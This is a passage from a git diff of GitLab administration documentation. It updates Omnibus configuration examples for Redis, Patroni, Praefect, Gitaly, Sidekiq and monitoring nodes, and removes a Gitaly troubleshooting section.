provides access to the Git repositories.
1. [Configure Sidekiq](#configure-sidekiq).
1. [Configure the main GitLab Rails application](#configure-gitlab-rails)
- to run Puma/Unicorn, Workhorse, GitLab Shell, and to serve all frontend
+ to run Puma, Workhorse, GitLab Shell, and to serve all frontend
requests (which include UI, API, and Git over HTTP/SSH).
1. [Configure Prometheus](#configure-prometheus) to monitor your GitLab
environment.
@@ -462,8 +467,8 @@ a node and change its status from primary to replica (and vice versa).
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_master_role'
- roles ['redis_master_role']
+ # Specify server role as 'redis_master_role' and enable Consul agent
+ roles(['redis_master_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -479,7 +484,6 @@ a node and change its status from primary to replica (and vice versa).
redis['password'] = 'redis-password-goes-here'
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -500,10 +504,13 @@ a node and change its status from primary to replica (and vice versa).
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
You can list the current Redis Primary, Replica status via:
@@ -538,8 +545,8 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- # Specify server role as 'redis_replica_role'
- roles ['redis_replica_role']
+ # Specify server role as 'redis_replica_role' and enable Consul agent
+ roles(['redis_replica_role', 'consul_role'])
# IP address pointing to a local IP that the other machines can reach to.
# You can also set bind to '0.0.0.0' which listen in all interfaces.
@@ -562,7 +569,6 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s
#redis['master_port'] = 6379
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -583,12 +589,15 @@ run: redis-exporter: (pid 30075) 76861s; run: log: (pid 29674) 76896s
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Go through the steps again for all the other replica nodes, and
make sure to set up the IPs correctly.
You can specify multiple roles, like sentinel and Redis, as:
-`roles ['redis_sentinel_role', 'redis_master_role']`. Read more about
+`roles(['redis_sentinel_role', 'redis_master_role'])`. Read more about
[roles](https://docs.gitlab.com/omnibus/roles/).
These values don't have to be changed again in `/etc/gitlab/gitlab.rb` after
@@ -630,7 +639,7 @@ To configure the Sentinel:
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- roles ['redis_sentinel_role', 'consul_role']
+ roles(['redis_sentinel_role', 'consul_role'])
# Must be the same in every sentinel node
redis['master_name'] = 'gitlab-redis'
@@ -694,7 +703,6 @@ To configure the Sentinel:
# sentinel['failover_timeout'] = 60000
## Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
## The IPs of the Consul server nodes
@@ -712,6 +720,9 @@ To configure the Sentinel:
gitlab_rails['auto_migrate'] = false
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Go through the steps again for all the other Consul/Sentinel nodes, and
make sure you set up the correct IPs.
@@ -805,6 +816,15 @@ in the second step, do not supply the `EXTERNAL_URL` value.
sudo gitlab-ctl pg-password-md5 pgbouncer
```
+1. Generate a password hash for the PostgreSQL replication username/password pair. This assumes you will use the default
+ username of `gitlab_replicator` (recommended). The command will request a password
+ and a confirmation. Use the value that is output by this command in the next step
+ as the value of `<postgresql_replication_password_hash>`:
+
+ ```shell
+ sudo gitlab-ctl pg-password-md5 gitlab_replicator
+ ```
+
1. Generate a password hash for the Consul database username/password pair. This assumes you will use the default
username of `gitlab-consul` (recommended). The command will request a password
and confirmation. Use the value that is output by this command in the next
@@ -817,19 +837,21 @@ in the second step, do not supply the `EXTERNAL_URL` value.
1. On every database node, edit `/etc/gitlab/gitlab.rb` replacing values noted in the `# START user configuration` section:
```ruby
- # Disable all components except PostgreSQL, Patroni, and Consul
- roles ['postgres_role']
+ # Disable all components except Patroni and Consul
+ roles(['patroni_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
- # Enable Patroni
- patroni['enable'] = true
- # Set `max_wal_senders` to one more than the number of database nodes in the cluster.
+ # Sets `max_replication_slots` to double the number of database nodes.
+ # Patroni uses one extra slot per node when initiating the replication.
+ patroni['postgresql']['max_replication_slots'] = 8
+
+ # Set `max_wal_senders` to one more than the number of replication slots in the cluster.
# This is used to prevent replication from using up all of the
# available database connections.
- patroni['postgresql']['max_wal_senders'] = 4
- patroni['postgresql']['max_replication_slots'] = 4
+ patroni['postgresql']['max_wal_senders'] = 9
+
# Incoming recommended value for max connections is 500. See https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/5691.
patroni['postgresql']['max_connections'] = 500
@@ -837,7 +859,6 @@ in the second step, do not supply the `EXTERNAL_URL` value.
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
- consul['enable'] = true
consul['services'] = %w(postgresql)
## Enable service discovery for Prometheus
consul['monitoring_service_discovery'] = true
@@ -847,6 +868,8 @@ in the second step, do not supply the `EXTERNAL_URL` value.
#
# Replace PGBOUNCER_PASSWORD_HASH with a generated md5 value
postgresql['pgbouncer_user_password'] = '<pgbouncer_password_hash>'
+ # Replace POSTGRESQL_REPLICATION_PASSWORD_HASH with a generated md5 value
+ postgresql['sql_replication_password'] = '<postgresql_replication_password_hash>'
# Replace POSTGRESQL_PASSWORD_HASH with a generated md5 value
postgresql['sql_user_password'] = '<postgresql_password_hash>'
@@ -870,9 +893,8 @@ PostgreSQL, with Patroni managing its failover, will default to use `pg_rewind`
Like most failover handling methods, this has a small chance of leading to data loss.
Learn more about the various [Patroni replication methods](../postgresql/replication_and_failover.md#selecting-the-appropriate-patroni-replication-method).
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and replace
- the file of the same name on this server. If that file is not on this server,
- add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
@@ -887,21 +909,7 @@ are supported and can be added if needed.
#### PostgreSQL post-configuration
-SSH in to the **primary node**:
-
-1. Open a database prompt:
-
- ```shell
- gitlab-psql -d gitlabhq_production
- ```
-
-1. Enable the `pg_trgm` extension:
-
- ```shell
- CREATE EXTENSION pg_trgm;
- ```
-
-1. Exit the database prompt by typing `\q` and Enter.
+SSH in to any of the Patroni nodes on the **primary site**:
1. Check the status of the leader and cluster:
@@ -943,7 +951,7 @@ The following IPs will be used as an example:
```ruby
# Disable all components except Pgbouncer and Consul agent
- roles ['pgbouncer_role']
+ roles(['pgbouncer_role'])
# Configure PgBouncer
pgbouncer['admin_users'] = %w(pgbouncer gitlab-consul)
@@ -960,7 +968,6 @@ The following IPs will be used as an example:
# Configure Consul agent
consul['watchers'] = %w(postgresql)
- consul['enable'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
@@ -973,6 +980,9 @@ The following IPs will be used as an example:
pgbouncer_exporter['listen_address'] = '0.0.0.0:9188'
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
1. Create a `.pgpass` file so Consul is able to
@@ -1088,9 +1098,7 @@ in the second step, do not supply the `EXTERNAL_URL` value.
```ruby
# Disable all components except PostgreSQL and Consul
- roles ['postgres_role']
- repmgr['enable'] = false
- patroni['enable'] = false
+ roles(['postgres_role', 'consul_role'])
# PostgreSQL configuration
postgresql['listen_address'] = '0.0.0.0'
@@ -1100,7 +1108,6 @@ in the second step, do not supply the `EXTERNAL_URL` value.
gitlab_rails['auto_migrate'] = false
# Configure the Consul agent
- consul['enable'] = true
## Enable service discovery for Prometheus
consul['monitoring_service_discovery'] = true
@@ -1126,7 +1133,11 @@ in the second step, do not supply the `EXTERNAL_URL` value.
# END user configuration
```
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Follow the [post configuration](#praefect-postgresql-post-configuration).
<div align="right">
@@ -1224,19 +1235,18 @@ To configure the Praefect nodes, on each one:
1. Edit the `/etc/gitlab/gitlab.rb` file to configure Praefect:
```ruby
- # Avoid running unnecessary services on the Gitaly server
+ # Avoid running unnecessary services on the Praefect server
+ gitaly['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Praefect Configuration
praefect['enable'] = true
@@ -1274,19 +1284,20 @@ To configure the Praefect nodes, on each one:
# server ('praefect') and in git_data_dirs on Gitaly nodes ('gitaly-1')
praefect['virtual_storages'] = {
'default' => {
- 'gitaly-1' => {
- 'address' => 'tcp://10.6.0.91:8075',
- 'token' => '<praefect_internal_token>',
- 'primary' => true
- },
- 'gitaly-2' => {
- 'address' => 'tcp://10.6.0.92:8075',
- 'token' => '<praefect_internal_token>'
- },
- 'gitaly-3' => {
- 'address' => 'tcp://10.6.0.93:8075',
- 'token' => '<praefect_internal_token>'
- },
+ 'nodes' => {
+ 'gitaly-1' => {
+ 'address' => 'tcp://10.6.0.91:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-2' => {
+ 'address' => 'tcp://10.6.0.92:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ 'gitaly-3' => {
+ 'address' => 'tcp://10.6.0.93:8075',
+ 'token' => '<praefect_internal_token>'
+ },
+ }
}
}
@@ -1303,11 +1314,25 @@ To configure the Praefect nodes, on each one:
# END user configuration
```
- 1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. Praefect requires to run some database migrations, much like the main GitLab application. For this
+ you should select **one Praefect node only to run the migrations**, AKA the _Deploy Node_. This node
+ must be configured first before the others as follows:
+
+ 1. In the `/etc/gitlab/gitlab.rb` file, change the `praefect['auto_migrate']` setting value from `false` to `true`
+
+ 1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect and
+ to run the Praefect database migrations.
- 1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. On all other Praefect nodes, [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
### Configure Gitaly
@@ -1351,21 +1376,17 @@ On each node:
storage paths, enable the network listener, and to configure the token:
```ruby
- # /etc/gitlab/gitlab.rb
-
# Avoid running unnecessary services on the Gitaly server
postgresql['enable'] = false
redis['enable'] = false
- nginx['enable'] = false
puma['enable'] = false
- unicorn['enable'] = false
sidekiq['enable'] = false
gitlab_workhorse['enable'] = false
- grafana['enable'] = false
-
- # If you run a separate monitoring node you can disable these services
- alertmanager['enable'] = false
prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
+ gitlab_exporter['enable'] = false
+ nginx['enable'] = false
# Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
@@ -1373,9 +1394,11 @@ On each node:
# Configure the gitlab-shell API callback URL. Without this, `git push` will
# fail. This can be your 'front door' GitLab URL or an internal load
# balancer.
- # Don't forget to copy `/etc/gitlab/gitlab-secrets.json` from web server to Gitaly server.
gitlab_rails['internal_api_url'] = 'https://gitlab.example.com'
+ # Gitaly
+ gitaly['enable'] = true
+
# Make Gitaly accept connections on all network interfaces. You must use
# firewalls to restrict access to this address/port.
# Comment out following line if you only want to support TLS connections
@@ -1417,9 +1440,8 @@ On each node:
})
```
-1. Copy the `/etc/gitlab/gitlab-secrets.json` file from your Consul server, and
- then replace the file of the same name on this server. If that file isn't on
- this server, add the file from your Consul server to this server.
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
@@ -1526,28 +1548,19 @@ To configure the Sidekiq nodes, one each one:
1. Open `/etc/gitlab/gitlab.rb` with your editor:
```ruby
- ########################################
- ##### Services Disabled ###
- ########################################
-
- nginx['enable'] = false
- grafana['enable'] = false
- prometheus['enable'] = false
- alertmanager['enable'] = false
+ # Avoid running unnecessary services on the Sidekiq server
gitaly['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = false
- puma['enable'] = false
- postgres_exporter['enable'] = false
postgresql['enable'] = false
redis['enable'] = false
- redis_exporter['enable'] = false
+ puma['enable'] = false
+ gitlab_workhorse['enable'] = false
+ prometheus['enable'] = false
+ alertmanager['enable'] = false
+ grafana['enable'] = false
gitlab_exporter['enable'] = false
+ nginx['enable'] = false
- ########################################
- #### Redis ###
- ########################################
-
+ # Redis
## Must be the same in every sentinel node
redis['master_name'] = 'gitlab-redis'
@@ -1561,13 +1574,10 @@ To configure the Sidekiq nodes, one each one:
{'host' => '10.6.0.13', 'port' => 26379},
]
- #######################################
- ### Gitaly ###
- #######################################
-
- # git_data_dirs get configured for the Praefect virtual storage
- # Address is Internal Load Balancer for Praefect
- # Token is praefect_external_token
+ # Gitaly Cluster
+ ## git_data_dirs get configured for the Praefect virtual storage
+ ## Address is Internal Load Balancer for Praefect
+ ## Token is praefect_external_token
git_data_dirs({
"default" => {
"gitaly_address" => "tcp://10.6.0.40:2305", # internal load balancer IP
@@ -1575,31 +1585,26 @@ To configure the Sidekiq nodes, one each one:
}
})
- #######################################
- ### Postgres ###
- #######################################
+ # PostgreSQL
gitlab_rails['db_host'] = '10.6.0.40' # internal load balancer IP
gitlab_rails['db_port'] = 6432
gitlab_rails['db_password'] = '<postgresql_user_password>'
gitlab_rails['db_adapter'] = 'postgresql'
gitlab_rails['db_encoding'] = 'unicode'
- # Prevent database migrations from running on upgrade automatically
+ ## Prevent database migrations from running on upgrade automatically
gitlab_rails['auto_migrate'] = false
- #######################################
- ### Sidekiq configuration ###
- #######################################
+ # Sidekiq
+ sidekiq['enable'] = true
sidekiq['listen_address'] = "0.0.0.0"
- # Set number of Sidekiq queue processes to the same number as available CPUs
+ ## Set number of Sidekiq queue processes to the same number as available CPUs
sidekiq['queue_groups'] = ['*'] * 4
- # Set number of Sidekiq threads per queue process to the recommend number of 10
+ ## Set number of Sidekiq threads per queue process to the recommend number of 10
sidekiq['max_concurrency'] = 10
- #######################################
- ### Monitoring configuration ###
- #######################################
+ # Monitoring
consul['enable'] = true
consul['monitoring_service_discovery'] = true
@@ -1607,19 +1612,16 @@ To configure the Sidekiq nodes, one each one:
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
- # Set the network addresses that the exporters will listen on
+ ## Set the network addresses that the exporters will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
- # Rails Status for prometheus
+ ## Add the monitoring node's IP address to the monitoring whitelist
gitlab_rails['monitoring_whitelist'] = ['10.6.0.81/32', '127.0.0.0/8']
gitlab_rails['prometheus_address'] = '10.6.0.81:9090'
- #############################
- ### Object storage ###
- #############################
-
- # This is an example for configuring Object Storage on GCP
- # Replace this config with your chosen Object Storage provider as desired
+ # Object Storage
+ ## This is an example for configuring Object Storage on GCP
+ ## Replace this config with your chosen Object Storage provider as desired
gitlab_rails['object_store']['connection'] = {
'provider' => 'Google',
'google_project' => '<gcp-project-name>',
@@ -1632,9 +1634,29 @@ To configure the Sidekiq nodes, one each one:
gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-packages-bucket-name>"
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Verify the GitLab services are running:
```shell
@@ -1716,7 +1738,7 @@ On each node perform the following:
})
## Disable components that will not be on the GitLab application server
- roles ['application_role']
+ roles(['application_role'])
gitaly['enable'] = false
nginx['enable'] = true
sidekiq['enable'] = false
@@ -1785,6 +1807,13 @@ On each node perform the following:
gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-dependency-proxy-bucket-name>"
gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-terraform-state-bucket-name>"
+ gitlab_rails['backup_upload_connection'] = {
+ 'provider' => 'Google',
+ 'google_project' => '<gcp-project-name>',
+ 'google_json_key_location' => '<path-to-gcp-service-account-key>'
+ }
+ gitlab_rails['backup_upload_remote_directory'] = "<gcp-backups-state-bucket-name>"
+
## Uncomment and edit the following options if you have set up NFS
##
## Prevent GitLab from starting if NFS data mounts are not available
@@ -1819,7 +1848,20 @@ On each node perform the following:
sudo cp cert.pem /etc/gitlab/trusted-certs/
```
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. Copy the `/etc/gitlab/gitlab-secrets.json` file from the first Omnibus node you configured and add or replace
+ the file of the same name on this server. If this is the first Omnibus node you are configuring then you can skip this step.
+
+1. To ensure database migrations are only run during reconfigure and not automatically on upgrade, run:
+
+ ```shell
+ sudo touch /etc/gitlab/skip-auto-reconfigure
+ ```
+
+ Only a single designated node should handle migrations as detailed in the
+ [GitLab Rails post-configuration](#gitlab-rails-post-configuration) section.
+
+1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect.
+
1. Run `sudo gitlab-rake gitlab:gitaly:check` to confirm the node can connect to Gitaly.
1. Tail the logs to see the requests:
@@ -1827,11 +1869,6 @@ On each node perform the following:
sudo gitlab-ctl tail gitaly
```
-1. Save the `/etc/gitlab/gitlab-secrets.json` file from one of the two
- application nodes and install it on the other application node, the
- [Gitaly node](#configure-gitaly) and the [Sidekiq node](#configure-sidekiq) and
- [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
-
1. Verify the GitLab services are running:
```shell
@@ -1890,45 +1927,26 @@ running [Prometheus](../monitoring/prometheus/index.md) and
1. Edit `/etc/gitlab/gitlab.rb` and add the contents:
```ruby
- external_url 'http://gitlab.example.com'
+ roles(['monitoring_role', 'consul_role'])
- # Disable all other services
- alertmanager['enable'] = false
- gitaly['enable'] = false
- gitlab_exporter['enable'] = false
- gitlab_workhorse['enable'] = false
- nginx['enable'] = true
- postgres_exporter['enable'] = false
- postgresql['enable'] = false
- redis['enable'] = false
- redis_exporter['enable'] = false
- sidekiq['enable'] = false
- puma['enable'] = false
- unicorn['enable'] = false
- node_exporter['enable'] = false
- gitlab_exporter['enable'] = false
+ external_url 'http://gitlab.example.com'
- # Enable Prometheus
- prometheus['enable'] = true
+ # Prometheus
prometheus['listen_address'] = '0.0.0.0:9090'
prometheus['monitor_kubernetes'] = false
- # Enable Login form
- grafana['disable_login_form'] = false
-
- # Enable Grafana
- grafana['enable'] = true
+ # Grafana
grafana['admin_password'] = '<grafana_password>'
+ grafana['disable_login_form'] = false
# Enable service discovery for Prometheus
- consul['enable'] = true
consul['monitoring_service_discovery'] = true
consul['configuration'] = {
retry_join: %w(10.6.0.11 10.6.0.12 10.6.0.13)
}
- # Prevent database migrations from running on upgrade automatically
- gitlab_rails['auto_migrate'] = false
+ # Nginx - For Grafana access
+ nginx['enable'] = true
```
1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md
index 6698737af6a..49024365e30 100644
--- a/doc/administration/reference_architectures/index.md
+++ b/doc/administration/reference_architectures/index.md
@@ -138,12 +138,12 @@ As long as at least one of each component is online and capable of handling the
### Automated database failover **(PREMIUM SELF)**
> - Level of complexity: **High**
-> - Required domain knowledge: PgBouncer, Repmgr or Patroni, shared storage, distributed systems
+> - Required domain knowledge: PgBouncer, Patroni, shared storage, distributed systems
By adding automatic failover for database systems, you can enable higher uptime
with additional database nodes. This extends the default database with
cluster management and failover policies.
-[PgBouncer in conjunction with Repmgr or Patroni](../postgresql/replication_and_failover.md)
+[PgBouncer in conjunction with Patroni](../postgresql/replication_and_failover.md)
is recommended.
### Instance level replication with GitLab Geo **(PREMIUM SELF)**
diff --git a/doc/administration/reference_architectures/troubleshooting.md b/doc/administration/reference_architectures/troubleshooting.md
index d5f57965a80..4b07cff7de2 100644
--- a/doc/administration/reference_architectures/troubleshooting.md
+++ b/doc/administration/reference_architectures/troubleshooting.md
@@ -206,211 +206,8 @@ To make sure your configuration is correct:
## Troubleshooting Gitaly
-If you have any problems when using standalone Gitaly nodes, first
-[check all the versions are up to date](../gitaly/index.md#check-versions-when-using-standalone-gitaly-servers).
-
-### `gitaly-debug`
-
-The `gitaly-debug` command provides "production debugging" tools for Gitaly and Git
-performance. It is intended to help production engineers and support
-engineers investigate Gitaly performance problems.
-
-If you're using GitLab 11.6 or newer, this tool should be installed on
-your GitLab / Gitaly server already at `/opt/gitlab/embedded/bin/gitaly-debug`.
-If you're investigating an older GitLab version you can compile this
-tool offline and copy the executable to your server:
-
-```shell
-git clone https://gitlab.com/gitlab-org/gitaly.git
-cd cmd/gitaly-debug
-GOOS=linux GOARCH=amd64 go build -o gitaly-debug
-```
-
-To see the help page of `gitaly-debug` for a list of supported sub-commands, run:
-
-```shell
-gitaly-debug -h
-```
-
-### Commits, pushes, and clones return a 401
-
-```plaintext
-remote: GitLab: 401 Unauthorized
-```
-
-You will need to sync your `gitlab-secrets.json` file with your GitLab
-app nodes.
-
-### Client side gRPC logs
-
-Gitaly uses the [gRPC](https://grpc.io/) RPC framework. The Ruby gRPC
-client has its own log file which may contain useful information when
-you are seeing Gitaly errors. You can control the log level of the
-gRPC client with the `GRPC_LOG_LEVEL` environment variable. The
-default level is `WARN`.
-
-You can run a gRPC trace with:
-
-```shell
-sudo GRPC_TRACE=all GRPC_VERBOSITY=DEBUG gitlab-rake gitlab:gitaly:check
-```
-
-### Observing `gitaly-ruby` traffic
-
-[`gitaly-ruby`](../gitaly/configure_gitaly.md#gitaly-ruby) is an internal implementation detail of Gitaly,
-so, there's not that much visibility into what goes on inside
-`gitaly-ruby` processes.
-
-If you have Prometheus set up to scrape your Gitaly process, you can see
-request rates and error codes for individual RPCs in `gitaly-ruby` by
-querying `grpc_client_handled_total`. Strictly speaking, this metric does
-not differentiate between `gitaly-ruby` and other RPCs, but in practice
-(as of GitLab 11.9), all gRPC calls made by Gitaly itself are internal
-calls from the main Gitaly process to one of its `gitaly-ruby` sidecars.
-
-Assuming your `grpc_client_handled_total` counter only observes Gitaly,
-the following query shows you RPCs are (most likely) internally
-implemented as calls to `gitaly-ruby`:
-
-```prometheus
-sum(rate(grpc_client_handled_total[5m])) by (grpc_method) > 0
-```
-
-### Repository changes fail with a `401 Unauthorized` error
-
-If you're running Gitaly on its own server and notice that users can
-successfully clone and fetch repositories (via both SSH and HTTPS), but can't
-push to them or make changes to the repository in the web UI without getting a
-`401 Unauthorized` message, then it's possible Gitaly is failing to authenticate
-with the other nodes due to having the wrong secrets file.
-
-Confirm the following are all true:
-
-- When any user performs a `git push` to any repository on this Gitaly node, it
- fails with the following error (note the `401 Unauthorized`):
-
- ```shell
- remote: GitLab: 401 Unauthorized
- To <REMOTE_URL>
- ! [remote rejected] branch-name -> branch-name (pre-receive hook declined)
- error: failed to push some refs to '<REMOTE_URL>'
- ```
-
-- When any user adds or modifies a file from the repository using the GitLab
- UI, it immediately fails with a red `401 Unauthorized` banner.
-- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#blank-projects)
- successfully creates the project but doesn't create the README.
-- When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server) on an app node and reproducing the error, you get `401` errors
- when reaching the [`/api/v4/internal/allowed`](../../development/internal_api.md) endpoint:
-
- ```shell
- # api_json.log
- {
- "time": "2019-07-18T00:30:14.967Z",
- "severity": "INFO",
- "duration": 0.57,
- "db": 0,
- "view": 0.57,
- "status": 401,
- "method": "POST",
- "path": "\/api\/v4\/internal\/allowed",
- "params": [
- {
- "key": "action",
- "value": "git-receive-pack"
- },
- {
- "key": "changes",
- "value": "REDACTED"
- },
- {
- "key": "gl_repository",
- "value": "REDACTED"
- },
- {
- "key": "project",
- "value": "\/path\/to\/project.git"
- },
- {
- "key": "protocol",
- "value": "web"
- },
- {
- "key": "env",
- "value": "{\"GIT_ALTERNATE_OBJECT_DIRECTORIES\":[],\"GIT_ALTERNATE_OBJECT_DIRECTORIES_RELATIVE\":[],\"GIT_OBJECT_DIRECTORY\":null,\"GIT_OBJECT_DIRECTORY_RELATIVE\":null}"
- },
- {
- "key": "user_id",
- "value": "2"
- },
- {
- "key": "secret_token",
- "value": "[FILTERED]"
- }
- ],
- "host": "gitlab.example.com",
- "ip": "REDACTED",
- "ua": "Ruby",
- "route": "\/api\/:version\/internal\/allowed",
- "queue_duration": 4.24,
- "gitaly_calls": 0,
- "gitaly_duration": 0,
- "correlation_id": "XPUZqTukaP3"
- }
-
- # nginx_access.log
- [IP] - - [18/Jul/2019:00:30:14 +0000] "POST /api/v4/internal/allowed HTTP/1.1" 401 30 "" "Ruby"
- ```
-
-To fix this problem, confirm that your `gitlab-secrets.json` file
-on the Gitaly node matches the one on all other nodes. If it doesn't match,
-update the secrets file on the Gitaly node to match the others, then
-[reconfigure the node](../restart_gitlab.md#omnibus-gitlab-reconfigure).
-
-### Command line tools cannot connect to Gitaly
-
-If you are having trouble connecting to a Gitaly node with command line (CLI) tools, and certain actions result in a `14: Connect Failed` error message, it means that gRPC cannot reach your Gitaly node.
-
-Verify that you can reach Gitaly via TCP:
-
-```shell
-sudo gitlab-rake gitlab:tcp_check[GITALY_SERVER_IP,GITALY_LISTEN_PORT]
-```
-
-If the TCP connection fails, check your network settings and your firewall rules. If the TCP connection succeeds, your networking and firewall rules are correct.
-
-If you use proxy servers in your command line environment, such as Bash, these can interfere with your gRPC traffic.
-
-If you use Bash or a compatible command line environment, run the following commands to determine whether you have proxy servers configured:
-
-```shell
-echo $http_proxy
-echo $https_proxy
-```
-
-If either of these variables have a value, your Gitaly CLI connections may be getting routed through a proxy which cannot connect to Gitaly.
-
-To remove the proxy setting, run the following commands (depending on which variables had values):
-
-```shell
-unset http_proxy
-unset https_proxy
-```
-
-### Gitaly not listening on new address after reconfiguring
-
-When updating the `gitaly['listen_addr']` or `gitaly['prometheus_listen_addr']` values, Gitaly may continue to listen on the old address after a `sudo gitlab-ctl reconfigure`.
-
-When this occurs, performing a `sudo gitlab-ctl restart` will resolve the issue. This will no longer be necessary after [this issue](https://gitlab.com/gitlab-org/gitaly/-/issues/2521) is resolved.
-
-### Permission denied errors appearing in Gitaly logs when accessing repositories from a standalone Gitaly node
-
-If this error occurs even though file permissions are correct, it's likely that
-the Gitaly node is experiencing
-[clock drift](https://en.wikipedia.org/wiki/Clock_drift).
-
